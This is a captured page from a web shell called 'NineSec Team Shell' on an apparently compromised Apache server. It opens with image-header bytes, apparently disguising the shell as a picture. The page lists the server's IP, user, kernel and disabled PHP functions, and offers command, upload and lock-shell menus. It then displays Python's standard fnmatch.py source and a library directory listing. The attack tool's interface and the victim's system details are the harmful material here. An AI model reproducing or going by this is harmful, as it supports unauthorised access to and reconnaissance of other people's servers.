�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.155
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /opt/bitninja-python-dojo/embedded/lib/python3.9/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //opt/bitninja-python-dojo/embedded/lib/python3.9/fnmatch.py
"""Filename matching with shell patterns.

fnmatch(FILENAME, PATTERN) matches according to the local convention.
fnmatchcase(FILENAME, PATTERN) always takes case in account.

The functions operate by translating the pattern into a regular
expression.  They cache the compiled regular expressions for speed.

The function translate(PATTERN) returns a regular expression
corresponding to PATTERN.  (It does not compile it.)
"""
import os
import posixpath
import re
import functools

__all__ = ["filter", "fnmatch", "fnmatchcase", "translate"]

# Build a thread-safe incrementing counter to help create unique regexp group
# names across calls.
from itertools import count
_nextgroupnum = count().__next__
del count

def fnmatch(name, pat):
    """Test whether FILENAME matches PATTERN.

    Patterns are Unix shell style:

    *       matches everything
    ?       matches any single character
    [seq]   matches any character in seq
    [!seq]  matches any char not in seq

    An initial period in FILENAME is not special.
    Both FILENAME and PATTERN are first case-normalized
    if the operating system requires it.
    If you don't want this, use fnmatchcase(FILENAME, PATTERN).
    """
    name = os.path.normcase(name)
    pat = os.path.normcase(pat)
    return fnmatchcase(name, pat)

@functools.lru_cache(maxsize=256, typed=True)
def _compile_pattern(pat):
    if isinstance(pat, bytes):
        pat_str = str(pat, 'ISO-8859-1')
        res_str = translate(pat_str)
        res = bytes(res_str, 'ISO-8859-1')
    else:
        res = translate(pat)
    return re.compile(res).match

def filter(names, pat):
    """Construct a list from those elements of the iterable NAMES that match PAT."""
    result = []
    pat = os.path.normcase(pat)
    match = _compile_pattern(pat)
    if os.path is posixpath:
        # normcase on posix is NOP. Optimize it away from the loop.
        for name in names:
            if match(name):
                result.append(name)
    else:
        for name in names:
            if match(os.path.normcase(name)):
                result.append(name)
    return result

def fnmatchcase(name, pat):
    """Test whether FILENAME matches PATTERN, including case.

    This is a version of fnmatch() which doesn't case-normalize
    its arguments.
    """
    match = _compile_pattern(pat)
    return match(name) is not None


def translate(pat):
    """Translate a shell PATTERN to a regular expression.

    There is no way to quote meta-characters.
    """

    STAR = object()
    res = []
    add = res.append
    i, n = 0, len(pat)
    while i < n:
        c = pat[i]
        i = i+1
        if c == '*':
            # compress consecutive `*` into one
            if (not res) or res[-1] is not STAR:
                add(STAR)
        elif c == '?':
            add('.')
        elif c == '[':
            j = i
            if j < n and pat[j] == '!':
                j = j+1
            if j < n and pat[j] == ']':
                j = j+1
            while j < n and pat[j] != ']':
                j = j+1
            if j >= n:
                add('\\[')
            else:
                stuff = pat[i:j]
                if '--' not in stuff:
                    stuff = stuff.replace('\\', r'\\')
                else:
                    chunks = []
                    k = i+2 if pat[i] == '!' else i+1
                    while True:
                        k = pat.find('-', k, j)
                        if k < 0:
                            break
                        chunks.append(pat[i:k])
                        i = k+1
                        k = k+3
                    chunks.append(pat[i:j])
                    # Escape backslashes and hyphens for set difference (--).
                    # Hyphens that create ranges shouldn't be escaped.
                    stuff = '-'.join(s.replace('\\', r'\\').replace('-', r'\-')
                                     for s in chunks)
                # Escape set operations (&&, ~~ and ||).
                stuff = re.sub(r'([&~|])', r'\\\1', stuff)
                i = j+1
                if stuff[0] == '!':
                    stuff = '^' + stuff[1:]
                elif stuff[0] in ('^', '['):
                    stuff = '\\' + stuff
                add(f'[{stuff}]')
        else:
            add(re.escape(c))
    assert i == n

    # Deal with STARs.
    inp = res
    res = []
    add = res.append
    i, n = 0, len(inp)
    # Fixed pieces at the start?
    while i < n and inp[i] is not STAR:
        add(inp[i])
        i += 1
    # Now deal with STAR fixed STAR fixed ...
    # For an interior `STAR fixed` pairing, we want to do a minimal
    # .*? match followed by `fixed`, with no possibility of backtracking.
    # We can't spell that directly, but can trick it into working by matching
    #    .*?fixed
    # in a lookahead assertion, save the matched part in a group, then
    # consume that group via a backreference. If the overall match fails,
    # the lookahead assertion won't try alternatives. So the translation is:
    #     (?=(?P<name>.*?fixed))(?P=name)
    # Group names are created as needed: g0, g1, g2, ...
    # The numbers are obtained from _nextgroupnum() to ensure they're unique
    # across calls and across threads. This is because people rely on the
    # undocumented ability to join multiple translate() results together via
    # "|" to build large regexps matching "one of many" shell patterns.
    while i < n:
        assert inp[i] is STAR
        i += 1
        if i == n:
            add(".*")
            break
        assert inp[i] is not STAR
        fixed = []
        while i < n and inp[i] is not STAR:
            fixed.append(inp[i])
            i += 1
        fixed = "".join(fixed)
        if i == n:
            add(".*")
            add(fixed)
        else:
            groupnum = _nextgroupnum()
            add(f"(?=(?P<g{groupnum}>.*?{fixed}))(?P=g{groupnum})")
    assert i == n
    res = "".join(res)
    return fr'(?s:{res})\Z'

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:08:44
root
0755
__pycache__
--
February 12 2024 9:12:05
root
0755
asyncio
--
February 12 2024 9:08:43
root
0755
collections
--
February 12 2024 9:08:43
root
0755
concurrent
--
February 12 2024 9:08:43
root
0755
config-3.9-x86_64-linux-gnu
--
February 12 2024 9:08:43
root
0755
ctypes
--
February 12 2024 9:08:43
root
0755
curses
--
February 12 2024 9:08:43
root
0755
dbm
--
February 12 2024 9:08:43
root
0755
distutils
--
February 12 2024 9:08:43
root
0755
email
--
February 12 2024 9:08:43
root
0755
encodings
--
February 12 2024 9:08:43
root
0755
ensurepip
--
February 12 2024 9:08:43
root
0755
html
--
February 12 2024 9:08:43
root
0755
http
--
February 12 2024 9:08:43
root
0755
idlelib
--
February 12 2024 9:08:43
root
0755
importlib
--
February 12 2024 9:08:43
root
0755
json
--
February 12 2024 9:08:43
root
0755
lib-dynload
--
February 12 2024 9:08:43
root
0755
lib2to3
--
February 12 2024 9:08:43
root
0755
logging
--
February 12 2024 9:08:43
root
0755
multiprocessing
--
February 12 2024 9:08:43
root
0755
pydoc_data
--
February 12 2024 9:08:43
root
0755
site-packages
--
February 12 2024 9:08:43
root
0755
test
--
February 12 2024 9:08:43
root
0755
tkinter
--
February 12 2024 9:08:43
root
0755
turtledemo
--
February 12 2024 9:08:43
root
0755
unittest
--
February 12 2024 9:08:43
root
0755
urllib
--
February 12 2024 9:08:43
root
0755
venv
--
February 12 2024 9:08:43
root
0755
wsgiref
--
February 12 2024 9:08:43
root
0755
xml
--
February 12 2024 9:08:43
root
0755
xmlrpc
--
February 12 2024 9:08:43
root
0755
zoneinfo
--
February 12 2024 9:08:43
root
0755
LICENSE.txt
13.599 KB
December 13 2023 8:49:26
root
0644
__future__.py
5.026 KB
December 13 2023 8:49:26
root
0644
__phello__.foo.py
0.063 KB
December 13 2023 8:49:26
root
0644
_aix_support.py
3.31 KB
December 13 2023 8:49:27
root
0644
_bootlocale.py
1.759 KB
December 13 2023 8:49:27
root
0644
_bootsubprocess.py
2.612 KB
December 13 2023 8:49:27
root
0644
_collections_abc.py
28.688 KB
December 13 2023 8:49:27
root
0644
_compat_pickle.py
8.544 KB
December 13 2023 8:49:27
root
0644
_compression.py
5.215 KB
December 13 2023 8:49:27
root
0644
_markupbase.py
14.256 KB
December 13 2023 8:49:27
root
0644
_osx_support.py
21.263 KB
December 13 2023 8:49:27
root
0644
_py_abc.py
6.044 KB
December 13 2023 8:49:27
root
0644
_pydecimal.py
223.307 KB
December 13 2023 8:49:27
root
0644
_pyio.py
91.223 KB
December 13 2023 8:49:27
root
0644
_sitebuiltins.py
3.042 KB
December 13 2023 8:49:27
root
0644
_strptime.py
24.685 KB
December 13 2023 8:49:27
root
0644
_sysconfigdata__linux_x86_64-linux-gnu.py
26.672 KB
December 13 2023 8:49:27
root
0644
_threading_local.py
7.051 KB
December 13 2023 8:49:27
root
0644
_weakrefset.py
5.784 KB
December 13 2023 8:49:27
root
0644
abc.py
4.805 KB
December 13 2023 8:49:27
root
0644
aifc.py
31.841 KB
December 13 2023 8:49:27
root
0644
antigravity.py
0.488 KB
December 13 2023 8:49:27
root
0644
argparse.py
95.568 KB
December 13 2023 8:49:27
root
0644
ast.py
54.862 KB
December 13 2023 8:49:27
root
0644
asynchat.py
11.056 KB
December 13 2023 8:49:27
root
0644
asyncore.py
19.631 KB
December 13 2023 8:49:27
root
0644
base64.py
19.396 KB
December 13 2023 8:49:27
root
0755
bdb.py
30.653 KB
December 13 2023 8:49:27
root
0644
binhex.py
14.438 KB
December 13 2023 8:49:27
root
0644
bisect.py
2.295 KB
December 13 2023 8:49:27
root
0644
bz2.py
12.155 KB
December 13 2023 8:49:27
root
0644
cProfile.py
6.187 KB
December 13 2023 8:49:27
root
0755
calendar.py
24.25 KB
December 13 2023 8:49:27
root
0644
cgi.py
33.14 KB
December 13 2023 8:49:27
root
0755
cgitb.py
11.813 KB
December 13 2023 8:49:27
root
0644
chunk.py
5.308 KB
December 13 2023 8:49:27
root
0644
cmd.py
14.512 KB
December 13 2023 8:49:27
root
0644
code.py
10.373 KB
December 13 2023 8:49:27
root
0644
codecs.py
35.813 KB
December 13 2023 8:49:27
root
0644
codeop.py
6.178 KB
December 13 2023 8:49:27
root
0644
colorsys.py
3.969 KB
December 13 2023 8:49:27
root
0644
compileall.py
19.634 KB
December 13 2023 8:49:27
root
0644
configparser.py
53.305 KB
December 13 2023 8:49:27
root
0644
contextlib.py
24.047 KB
December 13 2023 8:49:27
root
0644
contextvars.py
0.126 KB
December 13 2023 8:49:27
root
0644
copy.py
8.447 KB
December 13 2023 8:49:27
root
0644
copyreg.py
7.104 KB
December 13 2023 8:49:27
root
0644
crypt.py
3.729 KB
December 13 2023 8:49:27
root
0644
csv.py
15.766 KB
December 13 2023 8:49:27
root
0644
dataclasses.py
48.344 KB
December 13 2023 8:49:27
root
0644
datetime.py
87.061 KB
December 13 2023 8:49:27
root
0644
decimal.py
0.313 KB
December 13 2023 8:49:27
root
0644
difflib.py
81.354 KB
December 13 2023 8:49:27
root
0644
dis.py
20.088 KB
December 13 2023 8:49:27
root
0644
doctest.py
101.998 KB
December 13 2023 8:49:27
root
0644
enum.py
38.516 KB
December 13 2023 8:49:27
root
0644
filecmp.py
9.789 KB
December 13 2023 8:49:27
root
0644
fileinput.py
14.444 KB
December 13 2023 8:49:27
root
0644
fnmatch.py
5.863 KB
December 13 2023 8:49:27
root
0644
formatter.py
14.788 KB
December 13 2023 8:49:27
root
0644
fractions.py
23.753 KB
December 13 2023 8:49:27
root
0644
ftplib.py
34.664 KB
December 13 2023 8:49:27
root
0644
functools.py
37.57 KB
December 13 2023 8:49:27
root
0644
genericpath.py
4.858 KB
December 13 2023 8:49:27
root
0644
getopt.py
7.313 KB
December 13 2023 8:49:27
root
0644
getpass.py
5.85 KB
December 13 2023 8:49:27
root
0644
gettext.py
26.627 KB
December 13 2023 8:49:27
root
0644
glob.py
5.687 KB
December 13 2023 8:49:27
root
0644
graphlib.py
9.349 KB
December 13 2023 8:49:27
root
0644
gzip.py
21.262 KB
December 13 2023 8:49:27
root
0644
hashlib.py
9.775 KB
December 13 2023 8:49:27
root
0644
heapq.py
22.341 KB
December 13 2023 8:49:27
root
0644
hmac.py
6.839 KB
December 13 2023 8:49:27
root
0644
imaplib.py
53.617 KB
December 13 2023 8:49:27
root
0644
imghdr.py
3.719 KB
December 13 2023 8:49:27
root
0644
imp.py
10.289 KB
December 13 2023 8:49:27
root
0644
inspect.py
115.462 KB
December 13 2023 8:49:27
root
0644
io.py
3.458 KB
December 13 2023 8:49:27
root
0644
ipaddress.py
72.925 KB
December 13 2023 8:49:27
root
0644
keyword.py
1.022 KB
December 13 2023 8:49:27
root
0644
linecache.py
5.333 KB
December 13 2023 8:49:27
root
0644
locale.py
76.437 KB
December 13 2023 8:49:27
root
0644
lzma.py
12.921 KB
December 13 2023 8:49:27
root
0644
mailbox.py
76.947 KB
December 13 2023 8:49:27
root
0644
mailcap.py
7.962 KB
December 13 2023 8:49:27
root
0644
mimetypes.py
21.142 KB
December 13 2023 8:49:27
root
0644
modulefinder.py
23.829 KB
December 13 2023 8:49:27
root
0644
netrc.py
5.436 KB
December 13 2023 8:49:27
root
0644
nntplib.py
40.062 KB
December 13 2023 8:49:27
root
0644
ntpath.py
27.084 KB
December 13 2023 8:49:27
root
0644
nturl2path.py
2.819 KB
December 13 2023 8:49:27
root
0644
numbers.py
10.096 KB
December 13 2023 8:49:27
root
0644
opcode.py
5.527 KB
December 13 2023 8:49:27
root
0644
operator.py
10.499 KB
December 13 2023 8:49:27
root
0644
optparse.py
58.954 KB
December 13 2023 8:49:27
root
0644
os.py
38.149 KB
December 13 2023 8:49:27
root
0644
pathlib.py
52.806 KB
December 13 2023 8:49:27
root
0644
pdb.py
61.622 KB
December 13 2023 8:49:27
root
0755
pickle.py
63.398 KB
December 13 2023 8:49:27
root
0644
pickletools.py
91.295 KB
December 13 2023 8:49:27
root
0644
pipes.py
8.707 KB
December 13 2023 8:49:27
root
0644
pkgutil.py
23.707 KB
December 13 2023 8:49:27
root
0644
platform.py
39.65 KB
December 13 2023 8:49:27
root
0755
plistlib.py
27.586 KB
December 13 2023 8:49:27
root
0644
poplib.py
14.842 KB
December 13 2023 8:49:27
root
0644
posixpath.py
15.353 KB
December 13 2023 8:49:27
root
0644
pprint.py
21.999 KB
December 13 2023 8:49:27
root
0644
profile.py
22.335 KB
December 13 2023 8:49:27
root
0755
pstats.py
28.639 KB
December 13 2023 8:49:27
root
0644
pty.py
4.694 KB
December 13 2023 8:49:27
root
0644
py_compile.py
7.957 KB
December 13 2023 8:49:27
root
0644
pyclbr.py
14.897 KB
December 13 2023 8:49:27
root
0644
pydoc.py
106.978 KB
December 13 2023 8:49:27
root
0755
queue.py
11.214 KB
December 13 2023 8:49:27
root
0644
quopri.py
7.098 KB
December 13 2023 8:49:27
root
0755
random.py
30.746 KB
December 13 2023 8:49:27
root
0644
re.py
15.489 KB
December 13 2023 8:49:27
root
0644
reprlib.py
5.144 KB
December 13 2023 8:49:27
root
0644
rlcompleter.py
7.469 KB
December 13 2023 8:49:27
root
0644
runpy.py
11.925 KB
December 13 2023 8:49:27
root
0644
sched.py
6.291 KB
December 13 2023 8:49:27
root
0644
secrets.py
1.988 KB
December 13 2023 8:49:27
root
0644
selectors.py
19.078 KB
December 13 2023 8:49:27
root
0644
shelve.py
8.327 KB
December 13 2023 8:49:27
root
0644
shlex.py
13.185 KB
December 13 2023 8:49:27
root
0644
shutil.py
51.037 KB
December 13 2023 8:49:27
root
0644
signal.py
2.22 KB
December 13 2023 8:49:27
root
0644
site.py
21.059 KB
December 13 2023 8:49:27
root
0644
smtpd.py
34.007 KB
December 13 2023 8:49:27
root
0755
smtplib.py
44.343 KB
December 13 2023 8:49:27
root
0755
sndhdr.py
6.933 KB
December 13 2023 8:49:27
root
0644
socket.py
35.834 KB
December 13 2023 8:49:27
root
0755
socketserver.py
26.656 KB
December 13 2023 8:49:27
root
0644
sre_compile.py
26.069 KB
December 13 2023 8:49:27
root
0644
sre_constants.py
6.986 KB
December 13 2023 8:49:27
root
0644
sre_parse.py
39.287 KB
December 13 2023 8:49:27
root
0644
ssl.py
49.562 KB
December 13 2023 8:49:27
root
0644
stat.py
5.356 KB
December 13 2023 8:49:27
root
0644
statistics.py
37.176 KB
December 13 2023 8:49:27
root
0644
string.py
10.318 KB
December 13 2023 8:49:27
root
0644
stringprep.py
12.614 KB
December 13 2023 8:49:27
root
0644
struct.py
0.251 KB
December 13 2023 8:49:27
root
0644
subprocess.py
80.707 KB
December 13 2023 8:49:27
root
0644
sunau.py
17.732 KB
December 13 2023 8:49:27
root
0644
symbol.py
2.228 KB
December 13 2023 8:49:27
root
0644
symtable.py
7.72 KB
December 13 2023 8:49:27
root
0644
sysconfig.py
24.33 KB
December 13 2023 8:49:27
root
0644
tabnanny.py
11.141 KB
December 13 2023 8:49:27
root
0755
tarfile.py
92.553 KB
December 13 2023 8:49:27
root
0755
telnetlib.py
22.709 KB
December 13 2023 8:49:27
root
0644
tempfile.py
27.029 KB
December 13 2023 8:49:27
root
0644
textwrap.py
18.952 KB
December 13 2023 8:49:27
root
0644
this.py
0.979 KB
December 13 2023 8:49:27
root
0644
threading.py
52.609 KB
December 13 2023 8:49:27
root
0644
timeit.py
13.166 KB
December 13 2023 8:49:27
root
0755
token.py
2.313 KB
December 13 2023 8:49:27
root
0644
tokenize.py
25.276 KB
December 13 2023 8:49:27
root
0644
trace.py
28.512 KB
December 13 2023 8:49:27
root
0755
traceback.py
24.007 KB
December 13 2023 8:49:27
root
0644
tracemalloc.py
17.624 KB
December 13 2023 8:49:27
root
0644
tty.py
0.858 KB
December 13 2023 8:49:27
root
0644
turtle.py
140.349 KB
December 13 2023 8:49:27
root
0644
types.py
9.518 KB
December 13 2023 8:49:27
root
0644
typing.py
74.994 KB
December 13 2023 8:49:27
root
0644
uu.py
6.796 KB
December 13 2023 8:49:28
root
0755
uuid.py
26.684 KB
December 13 2023 8:49:28
root
0644
warnings.py
19.227 KB
December 13 2023 8:49:28
root
0644
wave.py
17.582 KB
December 13 2023 8:49:28
root
0644
weakref.py
21.055 KB
December 13 2023 8:49:28
root
0644
webbrowser.py
23.521 KB
December 13 2023 8:49:28
root
0755
xdrlib.py
5.774 KB
December 13 2023 8:49:28
root
0644
zipapp.py
7.358 KB
December 13 2023 8:49:28
root
0644
zipfile.py
85.232 KB
December 13 2023 8:49:28
root
0644
zipimport.py
30.044 KB
December 13 2023 8:49:28
root
0644

NineSec Team - 2022